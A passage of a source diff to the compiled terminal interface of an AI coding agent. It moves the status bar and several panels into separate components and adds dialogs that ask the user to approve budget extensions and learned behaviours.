- const costStr = status.cost > 0 ? `$${status.cost.toFixed(4)}` : '$0.00';
2280
+ // modelShort, contextPct, costStr, elapsedTime, budgetPct are now computed inside StatusBar
2281
+ // Memoize DiagnosticsPanel props to avoid method calls in render body
2282
+ const diagTypeCheckerState = useMemo(() => agent.getTypeCheckerState(), [agent]);
2283
+ const diagAstCacheStats = useMemo(() => diagExpanded ? getASTCacheStats() : null, [diagExpanded, transparencyState]);
2211
2284
  // =========================================================================
2212
2285
  // RENDER
2213
2286
  // =========================================================================
2214
- return (_jsxs(_Fragment, { children: [_jsx(Static, { items: messages, children: (m) => (_jsx(MessageItem, { msg: m, colors: colors }, m.id)) }), _jsxs(Box, { flexDirection: "column", children: [toolCalls.length > 0 && (_jsxs(Box, { flexDirection: "column", marginBottom: 1, children: [_jsx(Text, { color: "#DDA0DD", bold: true, children: `Tools ${toolCallsExpanded ? '[-]' : '[+]'}` }), toolCalls.slice(-5).map(tc => (_jsx(ToolCallItem, { tc: tc, expanded: toolCallsExpanded, colors: colors }, `${tc.id}-${tc.status}`)))] })), transparencyExpanded && transparencyState && (_jsxs(Box, { flexDirection: "column", marginBottom: 1, borderStyle: "single", borderColor: colors.border, paddingX: 1, children: [_jsx(Text, { color: colors.accent, bold: true, children: "[v] Transparency Panel" }), _jsxs(Box, { marginLeft: 2, flexDirection: "column", children: [_jsx(Text, { color: colors.text, children: "REASONING" }), transparencyState.lastRouting ? (_jsxs(_Fragment, { children: [_jsxs(Text, { color: colors.textMuted, children: [" Routing: ", transparencyState.lastRouting.model] }), _jsxs(Text, { color: colors.textMuted, children: [" ", transparencyState.lastRouting.reason] })] })) : (_jsx(Text, { color: colors.textMuted, children: " Routing: (no routing decisions yet)" })), transparencyState.lastPolicy && (_jsxs(Text, { color: transparencyState.lastPolicy.decision === 'blocked' ? colors.error :
2215
- transparencyState.lastPolicy.decision === 'prompted' ? colors.warning : colors.success, children: ["Policy: ", transparencyState.lastPolicy.decision === 'allowed' ? '+' :
2216
- transparencyState.lastPolicy.decision === 'blocked' ? 'x' : '?', " ", transparencyState.lastPolicy.tool] }))] }), _jsxs(Box, { marginLeft: 2, marginTop: 1, flexDirection: "column", children: [_jsx(Text, { color: colors.text, children: "CONTEXT" }), transparencyState.contextHealth ? (_jsxs(_Fragment, { children: [_jsx(Text, { color: colors.textMuted, children: ' [' + '='.repeat(Math.round((transparencyState.contextHealth.percentUsed / 100) * 20)) +
2217
- '-'.repeat(20 - Math.round((transparencyState.contextHealth.percentUsed / 100) * 20)) +
2218
- '] ' + transparencyState.contextHealth.percentUsed + '%' }), _jsx(Text, { color: colors.textMuted, children: ' ' + (transparencyState.contextHealth.currentTokens / 1000).toFixed(1) + 'k / ' +
2219
- (transparencyState.contextHealth.maxTokens / 1000).toFixed(0) + 'k tokens' }), _jsx(Text, { color: colors.textMuted, children: ' ~' + transparencyState.contextHealth.estimatedExchanges + ' exchanges remaining' })] })) : (_jsx(Text, { color: colors.textMuted, children: " (no context data yet)" }))] }), transparencyState.activeLearnings.length > 0 && (_jsxs(Box, { marginLeft: 2, marginTop: 1, flexDirection: "column", children: [_jsx(Text, { color: colors.text, children: "MEMORY" }), _jsxs(Text, { color: colors.textMuted, children: [" Learnings applied: ", transparencyState.activeLearnings.length] })] }))] })), pendingApproval && (_jsx(ApprovalDialog, { visible: true, request: {
2220
- id: pendingApproval.id,
2221
- tool: pendingApproval.tool || pendingApproval.action,
2222
- args: pendingApproval.args || {},
2223
- risk: pendingApproval.risk,
2224
- context: pendingApproval.context,
2225
- }, onApprove: handleApprove, onDeny: handleDeny, colors: colors, denyReasonMode: denyReasonMode, denyReason: denyReason })), _jsx(DiagnosticsPanel, { diagnostics: transparencyState?.diagnostics ?? { lastTscResult: null, recentSyntaxErrors: [] }, typeCheckerState: agent.getTypeCheckerState(), astCacheStats: diagExpanded ? getASTCacheStats() : null, expanded: diagExpanded, colors: colors }), _jsx(DebugPanel, { entries: debugBuffer.entries, expanded: debugExpanded, colors: colors }), _jsx(TasksPanel, { tasks: tasks, colors: colors, expanded: tasksExpanded }), _jsx(ActiveAgentsPanel, { agents: activeAgents, colors: colors, expanded: activeAgentsExpanded }), _jsx(SwarmStatusPanel, { status: swarmStatus, colors: colors, expanded: swarmExpanded }), _jsx(MemoizedInputArea, { onSubmit: handleSubmit, disabled: isProcessing || !!pendingApproval, borderColor: pendingApproval ? '#FFD700' : '#87CEEB', textColor: "#98FB98", cursorColor: "#87CEEB", onCtrlC: handleCtrlC, onCtrlL: handleCtrlL, onCtrlP: handleCtrlP, onEscape: handleEscape, onToggleToolExpand: handleToggleToolExpand, onToggleThinking: handleToggleThinking, onToggleTransparency: handleToggleTransparency, onToggleActiveAgents: handleToggleActiveAgents, onToggleTasks: handleToggleTasks, onToggleDebug: handleToggleDebug, onToggleSwarm: handleToggleSwarm, onToggleDiagnostics: handleToggleDiagnostics, commandPaletteOpen: commandPaletteOpen, onCommandPaletteInput: handleCommandPaletteInput, approvalDialogOpen: !!pendingApproval, approvalDenyReasonMode: denyReasonMode, onApprovalApprove: handleApprove, onApprovalAlwaysAllow: handleAlwaysAllow, onApprovalDeny: handleDeny, onApprovalDenyWithReason: handleDenyWithReason, onApprovalCancelDenyReason: handleCancelDenyReason, onApprovalDenyReasonInput: handleApprovalDenyReasonInput, history: historyEntries }), commandPaletteOpen && (_jsx(ControlledCommandPalette, { theme: selectedTheme, items: filteredCommandItems, visible: commandPaletteOpen, query: commandPaletteQuery, selectedIndex: commandPaletteIndex, onQueryChange: setCommandPaletteQuery, onSelectItem: (item) => {
2287
+ return (_jsxs(_Fragment, { children: [_jsx(Static, { items: messages, children: (m) => _jsx(MessageItem, { msg: m, colors: colors }, m.id) }), _jsxs(Box, { flexDirection: "column", children: [_jsx(ToolCallsPanel, { toolCalls: toolCalls, expanded: toolCallsExpanded, colors: colors }), _jsx(TransparencyPanel, { transparencyState: transparencyState, expanded: transparencyExpanded, colors: colors }), pendingApproval && approvalRequest && (_jsx(ApprovalDialog, { visible: true, request: approvalRequest, onApprove: handleApprove, onDeny: handleDeny, colors: colors, denyReasonMode: denyReasonMode, denyReason: denyReason })), pendingBudgetExtension && (_jsx(BudgetExtensionDialog, { visible: true, request: pendingBudgetExtension, onApprove: handleBudgetExtensionApprove, onDeny: handleBudgetExtensionDeny, colors: colors })), pendingLearning && (_jsx(LearningValidationDialog, { visible: true, learning: pendingLearning, onApprove: handleLearningApprove, onReject: handleLearningReject, onSkip: handleLearningSkip, colors: colors })), _jsx(DiagnosticsPanel, { diagnostics: transparencyState?.diagnostics ?? EMPTY_DIAGNOSTICS, typeCheckerState: diagTypeCheckerState, astCacheStats: diagAstCacheStats, expanded: diagExpanded, colors: colors }), _jsx(DebugPanel, { entries: debugBuffer.entries, expanded: debugExpanded, colors: colors }), _jsx(TasksPanel, { tasks: tasks, colors: colors, expanded: tasksExpanded }), _jsx(ActiveAgentsPanel, { agents: activeAgents, colors: colors, expanded: activeAgentsExpanded }), _jsx(SwarmStatusPanel, { status: swarmStatus, colors: colors, expanded: swarmExpanded }), _jsx(PlanPanel, { plan: activePlan, expanded: planExpanded, colors: colors }), _jsx(MemoizedInputArea, { onSubmit: handleSubmit, disabled: isProcessing || !!pendingApproval || !!pendingBudgetExtension || !!pendingLearning, borderColor: pendingApproval || pendingBudgetExtension ? '#FFD700' : pendingLearning ? '#87CEEB' : '#87CEEB', textColor: "#98FB98", cursorColor: "#87CEEB", onCtrlC: handleCtrlC, onCtrlL: handleCtrlL, onCtrlP: handleCtrlP, onEscape: handleEscape, onToggleToolExpand: handleToggleToolExpand, onToggleThinking: handleToggleThinking, onToggleTransparency: handleToggleTransparency, onToggleActiveAgents: handleToggleActiveAgents, onToggleTasks: handleToggleTasks, onToggleDebug: handleToggleDebug, onToggleSwarm: handleToggleSwarm, onToggleDiagnostics: handleToggleDiagnostics, commandPaletteOpen: commandPaletteOpen, onCommandPaletteInput: handleCommandPaletteInput, approvalDialogOpen: !!pendingApproval, approvalDenyReasonMode: denyReasonMode, onApprovalApprove: handleApprove, onApprovalAlwaysAllow: handleAlwaysAllow, onApprovalDeny: handleDeny, onApprovalDenyWithReason: handleDenyWithReason, onApprovalCancelDenyReason: handleCancelDenyReason, onApprovalDenyReasonInput: handleApprovalDenyReasonInput, budgetExtensionDialogOpen: !!pendingBudgetExtension, onBudgetExtensionApprove: handleBudgetExtensionApprove, onBudgetExtensionDeny: handleBudgetExtensionDeny, learningValidationDialogOpen: !!pendingLearning, onLearningApprove: handleLearningApprove, onLearningReject: handleLearningReject, onLearningSkip: handleLearningSkip, history: historyEntries }), commandPaletteOpen && (_jsx(ControlledCommandPalette, { theme: selectedTheme, items: filteredCommandItems, visible: commandPaletteOpen, query: commandPaletteQuery, selectedIndex: commandPaletteIndex, onQueryChange: setCommandPaletteQuery, onSelectItem: (item) => {
2226
2288
  setCommandPaletteOpen(false);
2227
2289
  setCommandPaletteQuery('');
2228
2290
  setCommandPaletteIndex(0);
@@ -2231,16 +2293,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
2231
2293
  setCommandPaletteOpen(false);
2232
2294
  setCommandPaletteQuery('');
2233
2295
  setCommandPaletteIndex(0);
2234
- } })), _jsxs(Box, { borderStyle: "single", borderColor: isProcessing ? colors.info : colors.textMuted, paddingX: 1, justifyContent: "space-between", children: [_jsxs(Box, { gap: 1, children: [_jsx(Text, { color: isProcessing ? colors.info : '#98FB98', bold: isProcessing, children: isProcessing ? '[~]' : '[*]' }), _jsx(Text, { color: isProcessing ? colors.info : colors.text, bold: isProcessing, children: status.mode.length > 40 ? status.mode.slice(0, 37) + '...' : status.mode }), isProcessing && elapsedTime > 0 && _jsxs(Text, { color: colors.textMuted, dimColor: true, children: ["| ", elapsedTime, "s"] }), status.iter > 0 && _jsxs(Text, { color: colors.textMuted, dimColor: true, children: ["| iter ", status.iter] })] }), _jsxs(Box, { gap: 2, children: [_jsx(Text, { color: "#DDA0DD", dimColor: true, children: modelShort }), _jsx(Text, { color: contextPct > 70 ? '#FFD700' : colors.textMuted, dimColor: true, children: 'ctx:[' + '='.repeat(Math.min(8, Math.round((contextPct / 100) * 8))) +
2235
- '-'.repeat(Math.max(0, 8 - Math.round((contextPct / 100) * 8))) + '] ' +
2236
- contextPct + '%' }), budgetPct > 0 && (_jsx(Text, { color: budgetPct >= 80 ? '#FF6B6B' : budgetPct >= 50 ? '#FFD700' : colors.textMuted, dimColor: true, children: 'bud:' + budgetPct + '%' })), _jsx(Text, { color: "#98FB98", dimColor: true, children: costStr }), gitBranch && _jsx(Text, { color: "#87CEEB", dimColor: true, children: gitBranch }), transparencyState?.activeLearnings && transparencyState.activeLearnings.length > 0 && (_jsxs(Text, { color: "#87CEEB", dimColor: true, children: ["L:", transparencyState.activeLearnings.length] })), agent.getTypeCheckerState()?.tsconfigDir && (() => {
2237
- const tscRes = transparencyState?.diagnostics?.lastTscResult;
2238
- if (!tscRes)
2239
- return _jsx(Text, { color: colors.textMuted, dimColor: true, children: "tsc:\u2014" });
2240
- if (tscRes.success)
2241
- return _jsx(Text, { color: "#98FB98", dimColor: true, children: "tsc:[ok]" });
2242
- return _jsxs(Text, { color: colors.error, dimColor: true, children: ["tsc:[X]", tscRes.errorCount] });
2243
- })(), _jsx(Text, { color: colors.textMuted, dimColor: true, children: "^P:help" })] })] })] })] }));
2296
+ } })), _jsx(StatusBar, { isProcessing: isProcessing, status: statusForBar, colors: colors, model: model, gitBranch: gitBranch, transparencyState: transparencyState, agent: agent })] })] }));
2244
2297
  }
2245
2298
  export default TUIApp;
2246
2299
  //# sourceMappingURL=app.js.map